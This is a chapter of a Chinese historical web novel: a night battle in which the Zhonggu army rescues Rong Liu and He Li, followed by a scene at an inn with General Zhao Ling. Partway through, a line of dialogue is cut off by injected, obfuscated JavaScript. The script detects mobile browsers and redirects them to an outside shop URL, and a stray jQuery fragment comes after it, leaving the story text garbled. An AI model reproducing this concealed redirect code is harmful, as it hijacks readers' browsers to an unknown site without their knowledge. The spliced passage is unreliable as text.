待眼前黑影逐渐清晰,随之而来的是一个个被刀剑挥落下马的人头,马儿大惊,失控地朝四周逃也似的奔去。

    马蹄声愈发沉重急促,黑影接连倒下,取而代之出现在容柳眼前的是一具具更加壮硕的身形。那些身影矫健魁梧,手中的大剑在他们手中挥洒自如。

    鹤黎听闻人仰马翻的嚎叫声以及方才不知从何处传来的鼓乐之声,小心翼翼地钻出洞来,手中攥着玉坠。

    对上他的眼神,容柳点了点头示意他安心,伸手将他拉上马。

    “究竟发生了什么?”鹤黎看着前方一片混乱,疑惑问道。

    二人看着眼前厮杀正酣,一时分不清是敌是友。

    容柳悄悄策马上前,还未靠近,不远处掉落的人头带起飞溅的血水差点喷在他们身上。

    待找到一处足够隐蔽之地,二人看清正在缠斗的双方,一时竟移不开眼。异军使出浑身解数抵挡敌方来势汹汹的进攻,怎奈另一方战鼓擂擂,方才毫不留情挥刀向下,下一刻军阵变化整齐划一,开始新一轮进攻,如此对比之下他们竟显得军心散漫。

    战鼓齐鸣,在那些死士被杀得措手不及的节点他们也并未手下留情,当即变换阵型,瞬间从鱼尾阵换成了雁行阵,将他们包抄,方才还神秘莫测的死士,这下竟然陷入进退维谷之境。

    冲在前方的将士们手持大刀,体格彪悍,紧随其后的将士们身形矮小却极为灵活,手中弯弓搭箭,箭离弦的那一刹那数人从马背上滚落,马蹄踏碾过他们的身体疾驰而去。

    容柳深吸口气,看着眼前这绝无仅有的阵势,缓缓吐出七个字:“镇国之军,钟鼓军。”

    鹤黎惊讶地转过头,竟也倒吸口凉气:“这就是传闻中的钟鼓军?传言行军打仗的时候也要击鼓鸣笛甚至还有人唱歌以鼓舞士气的钟鼓军?”随即再次转头,那些士兵们个个士气高昂,所过之处当真杀出一条血路。

    “刀下留情!”容柳高喊。死士已被他们杀得所剩无几,还要留活口核实他们的身份。

    下一刻,只见位于最前方的二人掉转马头撤至两旁,身后的兵士们也随之策马纷纷退至两旁。只见后方一人手持长剑奔出,来人一袭暗红色铠甲,头戴凤翅盔,两支雉尾自盔后斜挑飞扬,衬的整个人气势如雷,气贯长虹。

    一双雪蹄停在他们眼前在黑夜里格外显眼,那黑马好似有灵性般,看见无影驹竟低沉地嘶鸣了一声,一对乌黑的眼亮晶晶的,幽幽地看着它。

    无影驹扬头,别过脸去。

    容柳顺了顺它背上的毛发,低头温言道:“好啦,不是敌人。”后才将视线从马背上移开。无影驹这时上前来到黑马对面,三人一马仅有一尺之距。

    近看来人,容柳只觉此人面庞坚毅,剑眉斜飞入鬓,气质非凡,一双暗红色双眼定定注视着容柳。

    “多谢将军相救,将军的钟鼓军当真解了水火之急……”还未说完,那青年将军直接摆手,回头大手一挥,全军听令,即刻掉转马头向正后方驶去。

    “本将还有一部分士兵埋伏在不远处须当即刻支援。来日方长,鹤大人。”说罢深深看了眼鹤黎,刷地一下调换马头,消失在夜色里。

    这下只留下马上的二人面面相觑,鹤黎的胸膛紧贴着容柳的背脊,彼此的呼吸声近在咫尺。

    容柳只觉得肩膀一沉,回头看鹤黎竟是将下巴搁在他肩上,低垂着眉眼,脸色煞白。

    想必今晚受到的惊吓不小,还未缓过神来。

    想到这里,容柳笑了,微微侧身拍了拍他的肩膀,勒紧缰绳,亦跟着方才军队的方向疾驰而去。

    约莫一盏茶功夫,到得不远处十里地开外,果然还有一支军队正同死士们厮杀着,死士越来越少,钟鼓军已经形成了压倒性的优势。

    袖子被拉住,容柳转头,看着鹤黎满脸惊讶指着不远处衣袂翩跹的身影。只见希拉手执横笛,脚尖轻点在直插过来的长剑上,纵身向后一跃。正此时,他将横笛移至唇边,音律随着五指上下翻飞倾泻而出。底下同士兵们缠斗的那些死士听到乐声纷纷丢下手中的长枪长剑快速朝里撤退。钟鼓军的士兵们这下你看我我看你,搞不清现在究竟是什么情况。

    忽然间眼前烟雾迷漫,容柳下意识看向方才黑衣人所在,果然那两人准备趁乱逃走。

    正当他策马准备上前追去,一枚箭矢破空而去,回头看,那将军已然保持着张弓搭箭的姿势,咧嘴,露出自信一笑。

    那箭划过四散的烟雾直刺向那蒙面人,那人一个扭身,箭身擦过他的脸颊飞向远处,脸上的面罩也随之掉落。

    随着面罩掉落的瞬间,容柳瞠目结舌,怔在原地。鹤黎也是眉头紧锁,满脸疑惑不解。

    那黑衣人竟然不是洪若仙?面罩之下竟是一张全然陌生的脸!

    ------------------------------------------------------

    驿站内,灯火通明。

    容柳坐在床上,鹤黎正欲褪下他的外袍却遭到他制止:“小伤,我自己包扎就好了。”

    “小伤?你看看,划了这么一大道口子,这叫小伤?还有背上的伤你能看到吗?”鹤黎当即翻了一白眼,嘴上责备着,手上却将金创药涂在伤口上为他一圈一圈包扎。

    “你受伤了吗?”容柳关切问道。

    “没有,你管好你就好了。”鹤黎没好气道。

    “让我看看。”说着不由分说抓起鹤黎的胳膊准备查看伤口。

    鹤黎的脸涨得通红,立马把手抽回,二人推搡着,鹤黎手一个不稳,金创药竟撒了出来。

    容柳执意要看,鹤黎终是拗不过,把手伸了过去,别过脸去:“看就看,都是大男人有什么大不了的……”

    不知为何,容柳听闻这话,笑意更甚。

    手臂检查完,只有几道擦伤,容柳想看其他地方有无伤口,正欲解开鹤黎单衣,立刻被他躲了过去。

    “……”

    “查伤口,你想成什么了……”容柳哭笑不得。

    突然,敲门声响起,二人警惕地看向紧闭的木门。

    “容大人,是我,赵凌。”一阵浑厚之音自门外传来。

    鹤黎应了一声,赵凌推门而入,眼前之景令他不得不低头轻咳一声。

    二人皆衣衫不整,容柳袒胸露乳,胸前的伤口包扎到一半,鹤黎单衣半褪至肩头,面色羞红,手中拿着金创药,地上还胡乱洒落着金创药的粉末。

    这场面着实让人浮想联翩。

    二人互相看着对方,底下了头。

    “抱歉,赵某似乎来的……不是时候。”说着便要关门离去。

    “回来!”两人异口同声。

    “不是你想的那样!”鹤

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580927|203559||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    黎的脸涨得通红。

    都说赵大将军之子赵凌带兵打仗第一手,没想到人情世故这方面却一窍不通,容柳心中暗叹。

    不过关键时刻能得他带兵出手相救,眼睁睁看着黑衣人逃跑,容柳叹了口气却也明白,如今硬追只会消耗己方的体力。

    不片刻二人很快整理毕各自的衣衫,赶忙起身躬身作揖道谢,眼中充满感激。

    赵凌爽朗一笑,露出满口大白牙,竟是带着几分狡黠:“这也得多亏鹤大人,若非鹤大人‘千金卖骨’之举,朝中人恐怕没那么快将目标锁定到此地。不瞒二位,如今朝中人都在观望鹤大人打的什么算盘呢。”

    “……”鹤黎扶额,无言以对。

    “今日扬言买骨的两个黑衣人,其中一人,我笃定是那洪若仙,可在最后才发现,竟是我搞错了。”容柳望着屋内随风摇曳的烛光,眉头深锁。

    “不过,即便那人就是洪若仙,我们现在也没办法证明他参与了军饷的勾结。”他继而悠悠道:“但我们手里却有条绝佳的线索。”

    说到这,鹤黎心领神会,而赵凌却一头雾水。

    “老婆婆现在怎么样了?”鹤黎看向赵凌问道。

    “鹤大人放心,老人家早已被亲兵保护了起来,又有希拉照看,应该不会有事。”赵凌道。

    “那就好,丧子之痛,只怕是一生都难以走出……”容柳叹道。

    鹤黎也跟着叹了口气,很快像是想起了什么:“他临终前所言的‘调兵’为何意?”

    听闻此,赵凌似乎明白,朝二人道:“大荒一族近日接连进犯,这几日宫里确实调兵去了那里增派援兵。”

    “?!”容柳闻言眉头紧皱,茶水喝了一半又放了回去。

    “从中央调兵?”他冷哼一声,望着茶水中悬浮的茶叶,声音平静而又犀利:“大荒来犯,自有边军应对。况此地地势奇险,对士兵行军作战的耐力要求极高,纵使增援,也该从邻近州府抽调兵力。为何偏偏要从中央抽调兵力?一旦抽调过多,若有人趁机作乱,谁来守皇城?”

    赵凌闻言怔怔地看着此刻目光锋芒毕现的容柳,所言利害他也清楚,只是迄今为止并没有人同他直截了当说出,方才容柳所言如同当头一棒直接打向他头顶。

    容柳:“这损招谁提的?”

    赵凌答道:“兵部尚书。”

    “呵……”

    他一点都不意外,竟是冷笑出声,沉吟道:“此人恃才傲物,同小人为虎作伥已久……”奈何生前抓不到他的把柄,如同一根刺一般深深扎在他心里。

    赵凌闻言重重点头,握紧手中拳头,抬起头,眼中满是钦佩:“柳先生方才所言可谓鞭辟入里,赵某实在佩服,不知先生是否想到了可解之法?”

    容柳闻言,正兀自思索之时,感受到身旁鹤黎投来的异样眼光,那目光不似往日柔和,反倒多了分审视甚至是疑惑。

    他心道不好,得赶紧找个法子糊弄过去,此刻敲门声再度响起,赵凌说是希拉,果然,希拉左手捧着盒点心,右手拿着个花鼓出现在他们眼前。

    “将军,已是寅时,臣想着不如同往常一般哄您入睡,这样臣才安心。”

    容柳、鹤黎二人看着点心和花鼓,你看看我我看看你,终是没忍住,一口茶喷了出来。

    赵凌一旁青筋猛跳,从牙缝中挤出三字:“滚出去……”